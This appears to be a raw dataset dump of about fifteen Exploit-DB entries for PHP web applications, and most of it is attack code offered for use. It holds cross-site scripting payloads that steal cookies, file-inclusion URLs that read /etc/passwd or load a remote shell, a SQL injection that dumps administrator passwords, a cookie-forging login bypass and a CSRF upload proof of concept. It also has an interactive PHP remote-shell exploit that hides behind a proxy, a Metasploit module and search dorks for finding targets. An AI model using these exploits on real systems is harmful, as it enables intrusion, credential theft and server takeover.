deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30980
Description: AwesomeTemplateEngine 1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-01-03
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/27125/info

AwesomeTemplateEngine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

AwesomeTemplateEngine 1 is vulnerable; other versions may also be affected. 

http://www.example.com/templates/example_template.php?data[title]=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[message]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[table][1][item]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[table][1][url]=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[poweredby]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #1902
Description: AWF CMS 1.11 - 'spaw_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-11
Author: Federico Fazzi

Exploit:
-----------------------------------------------------
Advisory id: FSA:011

Author:    Federico Fazzi
Date:      11/06/2006, 22:30
Sinthesis: AWF CMS 1.11, Remote command execution
Type:      high
Product:   http://www.awf-cms.org/
Patch:     unavailable
-----------------------------------------------------


1) Description:

Error occured in spaw_control.class.php,

include $spaw_root.'config/spaw_control.config.php';
include $spaw_root.'class/toolbars.class.php';
include $spaw_root.'class/lang.class.php';

variable $spaw_root not sanitized.

2) Proof of concept:

http://example/[ac_path]/spaw/spaw_control.class.php?spaw_root=[cmd_url]/
(note: add a cmd url with final slash (/))

3) Solution:

declare $spaw_root.

# milw0rm.com [2006-06-11]
Exploit-DB #36047
Description: awiki 20100125 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2011-08-15
Author: muuratsalo

Exploit:
source: https://www.securityfocus.com/bid/49187/info

awiki is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

awiki 20100125 is vulnerable; other versions may also be affected. 

http://www.example.com/awiki/index.php?page=/etc/passwd
http://www.example.com/awiki/index.php?action=Editar+el+Motor&scriptname=/etc/passwd
Exploit-DB #8994
Description: AWScripts Gallery Search Engine 1.x - Insecure Cookie
Type: webapps
Platform: php
Date: 2009-06-22
Author: TiGeR-Dz

Exploit:
#################################################################################################################
[+] AWScripts.com Gallery Search Engine 1.5 Remote Cookie Insecure
[+] Discovered By TiGeR-Dz
#################################################################################################################
Cookie Insecure
+++++++++++++++++++++++++
javascript:document.cookie="awse_logged=1;path=/";
Demo
----
http://www.awscripts.com/demo_se/awse/awse_admin/index.php
################################################################################################################


# milw0rm.com [2009-06-22]
Exploit-DB #36164
Description: AWStats 6.95/7.0 - 'awredir.pl' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-09-22
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/49749/info

AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AWStats 7.0 and 6.95 are vulnerable; other versions may also be affected. 

http://example.com/awredir.pl?url=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://example.com/awredir.pl?key=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #6368
Description: AWStats Totals 1.14 - 'AWStatstotals.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-09-05
Author: Ricardo Almeida

Exploit:
<?php
/* 
 * Remote Execution Exploit for AWStats Totals vulnerability (Interactive Shell) Version 2
 * 
 * Updated 05/09/08: The exploit now works with magic quotes on or off
 *  
 * Author: Ricardo Almeida
 * email:  ricardojba[at]aeiou[DoT]pt
 *
 * Greetz
 * The hacker webzine authored by Ronald van den Heetkamp for his code
 *
 * Credits: Vulnerabilities reported by Emory University.
 *          http://userwww.service.emory.edu/~ekenda2/EMORY-2008-01.txt 
 * 
 */ 

function wrap($url){
  $ua = array('Mozilla','Opera','Microsoft Internet Explorer','ia_archiver');
  $op = array('Windows','Windows XP','Linux','Windows NT','Windows 2000','OSX');
  $agent  = $ua[rand(0,3)].'/'.rand(1,8).'.'.rand(0,9).' ('.$op[rand(0,5)].' '.rand(1,7).'.'.rand(0,9).'; en-US;)';
  # tor or other proxy
  $tor = '172.20.1.15:8080';
  $timeout = '300';
  $ack = curl_init(); 
  curl_setopt ($ack, CURLOPT_PROXY, $tor); 
  curl_setopt ($ack, CURLOPT_URL, $url);
  curl_setopt ($ack, CURLOPT_HEADER, 1);  
  curl_setopt ($ack, CURLOPT_USERAGENT, $agent); 
  curl_setopt ($ack, CURLOPT_RETURNTRANSFER, 1); 
  curl_setopt ($ack, CURLOPT_FOLLOWLOCATION, 1);
  curl_setopt ($ack, CURLOPT_TIMEOUT, $timeout);
  $syn = curl_exec($ack);
  $info = curl_getinfo($ack);
  curl_close($ack);   

  if($info['http_code'] == '200') {
    return $syn;
    die();
  } else {
    return "Fail! :".$info['http_code']."\r\n";
  }
}

if ($argc != 3) {die("Usage: awtotalhack.php <host> <magic_quotes on or off>\nEx: awtotalhack.php host.tld on\n");}
array_shift($argv);
$host = $argv[0];
$magic = $argv[1];

# Start the interactive shell
while(1){
  fwrite(STDOUT, "[shell:~ # ");
  if ($magic == "on") {
    $c = str_split(trim(fgets(STDIN)));
    if (implode($c) == "exit") {die();};
    for($i=0;$i<count($c);$i++) {$c[$i] = "chr(".ord($c[$i]).")";}
    $cmd = implode("%2e", $c);
    $attackurl = "http://".$host."/"."awstatstotals.php?sort=%7b%24%7bpassthru%28".$cmd."%29%7d%7d%7b%24%7bexit%28%29%7d%7d";
    echo wrap($attackurl);
  } else if ($magic == "off") {
    $cmd = preg_replace('/ /','%20',trim(fgets(STDIN)));
    if ($cmd == "exit") {die();};
    $attackurl = "http://".$host."/"."awstatstotals.php?sort=%22%5d%2epassthru%28%27".$cmd."%27%29%2eexit%28%29%2e%24a%5b%22";
    echo wrap($attackurl);
  }
}
?>

# milw0rm.com [2008-09-05]
Exploit-DB #17324
Description: AWStats Totals 1.14 multisort - Remote Command Execution (Metasploit)
Type: webapps
Platform: php
Date: 2011-05-25
Author: Metasploit

Exploit:
##
# $Id: awstatstotals_multisort.rb 12715 2011-05-25 10:45:36Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AWStats Totals =< v1.14 multisort Remote Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
					AWStats Totals PHP script. AWStats Totals version v1.0 - v1.14 are vulnerable.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12715 $',
			'References'     =>
				[
					['CVE', '2008-3922'],
					['OSVDB', '47807'],
					['BID', '30856'],
					['URL', 'http://userwww.service.emory.edu/~ekenda2/EMORY-2008-01.txt'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 512,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 26 2008',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The full URI path to awstatstotals.php", "/awstatstotals/awstatstotals.php"]),
				], self.class)
	end

	def check
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' =>
			{
				'sort' => '"].phpinfo().exit().$a["'
			}
		}, 25)

		if (res and res.body.match(/localhost/))
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		command = Rex::Text.uri_encode(payload.encoded)
		sploit = datastore['URI'] + '?sort="].passthru(\'echo%20YYY;' + command + ';echo%20YYY;\').exit().%24a["'

		res = send_request_raw({
			'uri'     => sploit,
			'method'  => 'GET',
			'headers' =>
			{
				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				'Connection' => 'Close',
			}
		}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")

			m = res.body.match(/YYY\n(.*)\nYYY/m)

			if (m)
				print_status("Command output from the server:")
				print("\n" + m[1] + "\n\n")
			else
				print_status("This server may not be vulnerable")
			end
		else
			print_status("No response from the server")
		end
	end

end
Exploit-DB #4545
Description: awzMB 4.2 Beta 1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-10-18
Author: S.W.A.T.

Exploit:
                      \\\|///
                    \\  - -  //      Xmors Underground Group
                     (  @ @ )
              ----oOOo--(_)-oOOo--------------------------------------------------
              Portal   :  awzMB system Version 4.2 beta 1 Guestbook/Weblog/Contact
              Download :  http://downloads.sourceforge.net/awzmb/awzmb_4.2_beta1.zip
	      Author   :  S.W.A.T.
	      HomePage :  wWw.XmorS.CoM
	      Type     :  Remote File Inclusion
              Y! ID    :  Svvateam
              E-Mail   :  Svvateam@yahoo.com / S.W.4.T@hackermail.com
              OurForum :  http://svvat.3host.biz/forum/index.php
              Dork     :  Copyright Ã‚Â© 2001-2007 awzMB Project
              ----ooooO-----Ooooo--------------------------------------------------
                  (   )     (   )
                   \ (       ) /
                    \_)     (_/


+---------------------------------------------------------------------------------------------+

Vuln Code :

if (!isset($Setting[OPT_includepath])) $Setting[OPT_includepath] = '';

include_once($Setting[OPT_includepath].'awzmb/modules/core/core.incl.php');

+---------------------------------------------------------------------------------------------+
+---------------------------------------------------------------------------------------------+

Exploit :

http://[TARGET]/[PATH]/awzmb/adminhelp.php?Setting[OPT_includepath]=[-Sh3ll-]
http://[TARGET]/[PATH]/awzmb/modules/admin.incl.php?Setting[OPT_includepath]=[-Sh3ll-]
http://[TARGET]/[PATH]/awzmb/modules/reg.incl.php?Setting[OPT_includepath]=[-Sh3ll-]
http://[TARGET]/[PATH]/awzmb/modules/help.incl.php?Setting[OPT_includepath]=[-Sh3ll-]
http://[TARGET]/[PATH]/awzmb/modules/gbook.incl.php?Setting[OPT_includepath]=[-Sh3ll-]
http://[TARGET]/[PATH]/awzmb/modules/core/core.incl.php?Setting[OPT_includepath]=[-Sh3ll-]

+---------------------------------------------------------------------------------------------+

# milw0rm.com [2007-10-18]
Exploit-DB #4599
Description: Ax Developer CMS 0.1.1 - 'index.php?module' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-11-02
Author: GoLd_M

Exploit:
                     ###################################
                     #    W w w . T r Y a G . C o m    #
#################################################################################
# Ax Developer CMS 0.1.1 (index.php module) Local File Inclusion Vulnerability  #
# http://sourceforge.net/projects/axdcms/                                       #
# POC :                                                                         #
# /index.php?module=../../../../../../../../etc/passwd%00                       #
#################################################################################
                     #    W w w . T r Y a G . C o m    #
                     ###################################

# milw0rm.com [2007-11-02]
Exploit-DB #15938
Description: axdcms-0.1.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-01-08
Author: n0n0x

Exploit:
###############################################
#          _______         _______           
#  _______ __  __ \_______ __  __ \____  __  
#  __  _  \_  / / /__  __ \_  / / /__  |/_/  
#  _  / / // /_/ / _  / / // /_/ / __>  <    
#  /_/ /_/ \____/  /_/ /_/ \____/  /_/|_|    
#
# priasantai.uni.cc    |    team-elite.us    
###############################################

#######################################################
#
#  axdcms-0.1.1 <=== Local File Include Vulnerbility
#
#######################################################
# Author : n0n0x
#
# Homepage: http://priasantai.uni.cc/
#
# Download script : http://biznetnetworks.dl.sourceforge.net/project/axdcms/axdcms/0.1.1/axdcms-0.1.1.zip
#######################################################


exploit :

http://localhost/www/axdcms-0.1.1/modules/profile/user.php?aXconf[default_language]=../../../../../../../../etc/passwd%00

c0de : 

include("modules/profile/lang/".$aXconf['default_language'].".php");


#######################################################
# Greetz: all member | manadocoding.org - sekuritiOnline.net - h4ckb0x.org
#
# friends: angky.tatoki, EA ngel, bL4Ck_3n91n3, opa, xoron, pitch, thama, s0ny,
#          devilbat, cr4wl3r, cyberl0g, lumut-, Anti_Hack, DskyMC, mr.c, doniskynet.
#
# chats : irc.auzs.net 6667-7000 #exploit-db
######################################################
Exploit-DB #51963
Description: Axigen < 10.5.7 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2024-04-02
Author: Vincent McRae_ Mesut Cetin

Exploit:
# Exploit Title: Axigen < 10.5.7 - Persistent Cross-Site Scripting
# Date: 2023-09-25
# Exploit Author: Vinnie McRae - RedTeamer IT Security
# Vendor Homepage: https://www.axigen.com/
# Software Link: https://www.axigen.com/mail-server/download/
# Version: (10.5.7) and older version of Axigen WebMail
# Tested on: firefox, chrome
# CVE: CVE-2023-48974

Description

The `serverName_input` parameter is vulnerable to stored cross-site
scripting (XSS) due to unsanitized or unfiltered processing. This means
that an attacker can inject malicious code into this parameter, which will
then be executed by other users when they view the page where the parameter
is used. This is affecting authenticated administrators, and the attack can
be used to attack other administrators with more permissions.

Exploitation

1. Login as administrator
2. Navigate to "global settings"
3. Change server name to <script>alert(1)</script>

PoC of the POST request:

```
POST /?_h=1bb40e85937506a7186a125bd8c5d7ef&page=gl_set HTTP/1.1
Host: localhost:9443
Cookie: eula=true;
WMSessionObject=%7B%22accountFilter%22%3A%22%22%2C%22currentDomainName%22%3A%22axigen%22%2C%22currentPrincipal%22%3A%22nada%22%2C%22domainFilter%22%3A%22%22%2C%22folderRecipientFilter%22%3A%22%22%2C%22groupFilter%22%3A%22%22%2C%22helpContainer%22%3A%22opened%22%2C%22leftMenu%22%3A%5B%22rights%22%2C%22services%22%2C%22clustering%22%2C%22domains%22%2C%22logging%22%2C%22backup%22%2C%22security%22%5D%2C%22mlistFilter%22%3A%22%22%2C%22premiumFilter%22%3A%22%22%2C%22sslCertificateFilter%22%3A%22%22%7D;
webadminIsModified=false; webadminIsUpdated=true; webadminIsSaved=true;
public_language=en; _hadmin=6a8ed241fe53d1b28f090146e4c65f52;
menuLeftTopPosition=-754
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]088896642
Content-Length: 12401
Connection: close

----------------------------[PII_REDACTED][PII_REDACTED]088896642
Content-Disposition: form-data; name="serverName_input"

<script>alert(1)</script>
----------------------------[PII_REDACTED][PII_REDACTED]088896642
Content-Disposition: form-data; name="primary_domain_input"

axigen
----------------------------[PII_REDACTED][PII_REDACTED]088896642
Content-Disposition: form-data; name="ssl_random_file_input"

--SNIP--

----------------------------[PII_REDACTED][PII_REDACTED]088896642
Content-Disposition: form-data; name="update"

Save Configuration
----------------------------[PII_REDACTED][PII_REDACTED]088896642--
```



#______________________________
#Vinnie McRae
#RedTeamer IT Security
#Blog: redteamer.de/blog-beitrag/
Exploit-DB #17703
Description: Axis Commerce (E-Commerce System) - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-08-20
Author: Eyup CELIK

Exploit:
# Exploit Title: Axis Commerce (E-Commerce System) Stored XSS
# Date: 19.08.2011
# Author: Eyup CELIK
# Software Link: https://github.com/downloads/axis/axiscommerce/axis-0.8.1.zip
# Version: 0.8.1 and previus
# Tested on: Apache (For Windows)

ISSUE

Vulnerable Modules => Search Module

XSS can be done using the command input

Example Code: " onmouseover=prompt(XSS Code) bad="

Example:

http://localhost/axis-0.7.0.4/search/result?q="onmouseover=prompt(906764) bad="

http://localhost/axis-0.7.0.4/search/result?q="onmouseover=prompt(document.cookie) bad="
Exploit-DB #18793
Description: Axous 1.1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2012-04-27
Author: H4ckCity Secuirty TeaM

Exploit:
########################################################################################
#                                                                                      #
# Exploit Title : Axous 1.1.0 SQL Injection Vulnerabilitiy                             #
#                                                                                      #
# Author        : Secure-Land Security Team                                            #
#                                                                                      #
# Discovered By : farbodmahini                                                         #
#                                                                                      #
# Home          : Secure-Land.net                                                      #
#                                                                                      #
# Version       : All Version                                                          #
#                                                                                      #
# Vendor Link   : www.axous.com                                                        #
#                                                                                      #
# Contact       : farbodmahini@yahoo.fr , farbodmahini@gmail.com                       #
#                                                                                      #
# Security Risk : High                                                                 #
#                                                                                      #
#  DorK         : intext:"Powered by Axous 1.1.0"                                      #
#                                                                                      #
#                                                                                      #
########################################################################################
#  Exploit:
#
#
#  http://[target]/page.php?id=[SQL]
#
#  [~] SQL :
#
#  page.php?id=-1+union+select+1,group_concat(id,0x3a,username,0x3a,password),3+
#  from+fdb_administrators--
#
########################################################################################
#                                                                                      #
#   Special Thanks : 2MzRp-Mikili-M.Prince-0x0ptim0us                                  #
#                                                                                      #
########################################################################################
#                                                                                      #
#   Greetz : All Secure-Land Members - Packetstorm - 1337day - exploit-id              #
#                                                                                      #
########################################################################################
Exploit-DB #35046
Description: Axway Secure Transport 5.1 SP2 - Arbitrary File Upload (via Cross-Site Request Forgery)
Type: webapps
Platform: php
Date: 2014-10-23
Author: Emmanuel Law

Exploit:
<!--
# Exploit Title: Axway Secure Transport 5.1 SP2 Arbitary File Upload via CSRF
# Exploit author: Emmanuel Law 
# Public Disclosure Date : 20/10/14
# Vendor homepage: http://www.axway.com
# Affected Software version: Axway Secure Transport 5.2.1 SP2 and possibly earlier versions.
# CVE: CVE-2013-7057

Software Description:
=====================
Axway SecureTransport is a multi-protocol Managed File Transfer (MFT) gateway solution that enables organizations to secure, manage, and track the transfer of files inside and outside the enterprise firewall.

Vulnerability Description:
=====================
It is possible to conduct CSRF on a user to upload arbitary files on the Axway Secure Transport server. This is due to the lack of anti-CSRF tokens in the web API. An adversary may exploit this to upload webshells for further attacks.


Vulnerability Disclosure Timeline:
==================================
12/12/13 - Discovered vulnerability and notified Vendor
17/10/14 - Verified with Vendor that a patch has been released.
20/10/14 - Public disclosure

Steps to reproduce / PoC:
=========================
-->


<html>
  <!-- CSRF PoC to upload file to sftp.example.org- -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://sftp.example.org/api/v1.0/files/", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]970288330");
        xhr.withCredentials = true;
        var body = "----------------------------[PII_REDACTED][PII_REDACTED]970288330\r\n" + 
          "Content-Disposition: form-data; name=\"upload[]\"; filename=\"AURA_TEST.randomExtension\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "FILEDATA\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]970288330--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>